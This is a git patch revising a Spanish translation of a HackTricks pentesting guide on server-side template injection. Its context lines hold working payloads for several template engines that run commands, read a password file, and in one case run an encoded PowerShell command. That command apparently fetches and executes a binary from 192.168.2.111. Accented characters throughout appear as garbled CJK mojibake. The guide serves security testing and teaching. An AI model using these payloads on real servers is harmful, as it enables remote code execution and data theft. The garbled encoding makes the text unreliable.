From 962c2fff1fb9c524fc670eb7a1e61e51865e826d Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 26 Mar 2024 07:58:42 +0000 Subject: [PATCH] Translated ['pentesting-web/ssti-server-side-template-injection/README.m --- .../README.md | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 13a499cdf..18b79bc5b 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -10,7 +10,7 @@ Otras formas de apoyar a HackTricks: * Obt茅n el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -36,7 +36,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} ``` El payload `{{bad-stuff-here}}` se inyecta en el par谩metro `name`. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar c贸digo no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor. -Para prevenir vulnerabilidades de inyecci贸n de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario est茅 correctamente sanitizada y validada antes de ser insertada en las plantillas. Implementar validaci贸n de entrada y utilizar t茅cnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad. +Para prevenir vulnerabilidades de inyecci贸n de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario se sanea y valida correctamente antes de ser insertada en las plantillas. Implementar validaci贸n de entrada y utilizar t茅cnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad. ### Detecci贸n @@ -44,18 +44,18 @@ Para detectar la Inyecci贸n de Plantillas en el Servidor (SSTI), inicialmente, * - Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas. - Ausencia de la carga en la reflexi贸n, o partes faltantes, lo que implica que el servidor la procesa de manera diferente a los datos regulares. -- **Contexto de Texto sin formato**: Distinguir de XSS verificando si el servidor eval煤a expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`). +- **Contexto de Texto sin formato**: Distinguir de XSS comprobando si el servidor eval煤a expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`). - **Contexto de C贸digo**: Confirmar la vulnerabilidad alterando los par谩metros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es din谩mica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario. #### Fase de Identificaci贸n -Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads espec铆ficos del lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matem谩ticas ayuda a identificar el motor de plantillas espec铆fico. +Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads espec铆ficos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matem谩ticas ayuda a identificar el motor de plantillas espec铆fico. ## Herramientas ### [TInjA](https://github.com/Hackmanit/TInjA) -un esc谩ner eficiente de SSTI + CSTI que utiliza pol铆glotos novedosos +un esc谩ner eficiente de SSTI + CSTI que utiliza pol铆glotas novedosos ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -63,8 +63,8 @@ tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123... ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 -python3 sstimap.py -u "http://example.com/ --crawl 5 --forms -python3 sstimap.py -u 'https://example.com/page?name=John' -s +python3 sstimap.py -u "http://example.com/" --crawl 5 --forms +python3 sstimap.py -u "https://example.com/page?name=John" -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python @@ -122,7 +122,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - Bypass de sandbox** +**Freemarker - Bypass de la caja de arena** 鈿狅笍 solo funciona en versiones de Freemarker anteriores a 2.3.30 ```java @@ -180,7 +180,7 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf requiere que estas expresiones se coloquen dentro de atributos espec铆ficos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podr铆a verse as铆: `[[${7*7}]]`. +Thymeleaf requiere que estas expresiones se coloquen dentro de atributos espec铆ficos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI podr铆a verse como `[[${7*7}]]`. Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuraci贸n predeterminada de Thymeleaf no admite la generaci贸n din谩mica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores deber铆an implementar su propio `TemplateResolver` para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco com煤n. @@ -190,7 +190,7 @@ Thymeleaf tambi茅n ofrece _preprocesamiento de expresiones_, donde las expresion ``` **Ejemplo de Vulnerabilidad en Thymeleaf** -Considere el siguiente fragmento de c贸digo, que podr铆a ser susceptible a explotaci贸n: +Considere el siguiente fragmento de c贸digo, el cual podr铆a ser susceptible a explotaci贸n: ```xml @@ -294,7 +294,7 @@ Nueva versi贸n de Pebble: ``` ### Jinjava (Java) -Jinjava es un motor de plantillas Java que admite la inyecci贸n de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar c贸digo arbitrario en el servidor afectado. +Jinjava es un motor de plantillas Java que admite la inyecci贸n de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar c贸digo remoto en el servidor afectado. ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 @@ -739,7 +739,7 @@ home = pugjs.render(injected_page) ### Python -Consulta la siguiente p谩gina para aprender trucos sobre **burlar las cajas de arena de ejecuci贸n de comandos arbitrarios** en Python: +Consulta la siguiente p谩gina para aprender trucos sobre **burlar ejecuci贸n de comandos arbitrarios evitando cajas de arena** en python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -854,7 +854,7 @@ ${x} * `@(1+2)` * `@( //C贸digo C# )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` -* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` +* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");` El m茅todo `.NET` `System.Diagnostics.Process.Start` se puede utilizar para iniciar cualquier proceso en el servidor y as铆 crear un webshell. Puedes encontrar un ejemplo de una aplicaci贸n web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) @@ -896,9 +896,9 @@ En el motor de plantillas de Go, la confirmaci贸n de su uso se puede hacer con p **Explotaci贸n de XSS** -Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{""}}` resulta en `<script>alert(1)</script>`). Sin embargo, la definici贸n e invocaci贸n de plantillas en Go pueden evitar esta codificaci贸n: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Con el paquete `text/template`, XSS puede ser directo al insertar el payload directamente. Por el contrario, el paquete `html/template` codifica la respuesta para evitar esto (por ejemplo, `{{""}}` resulta en `<script>alert(1)</script>`). Sin embargo, la definici贸n e invocaci贸n de plantillas en Go puede evitar esta codificaci贸n: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} -vbnet Copy code +vbnet Copiar c贸digo **Explotaci贸n de RCE** @@ -960,8 +960,8 @@ Si crees que podr铆a ser 煤til, lee: Otras formas de apoyar a HackTricks: -* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! -* Obt茅n el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, 隆Consulta los [**PLANES DE SUSCRIPCI脫N**](https://github.com/sponsors/carlospolop)! +* Obt茅n el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colecci贸n exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).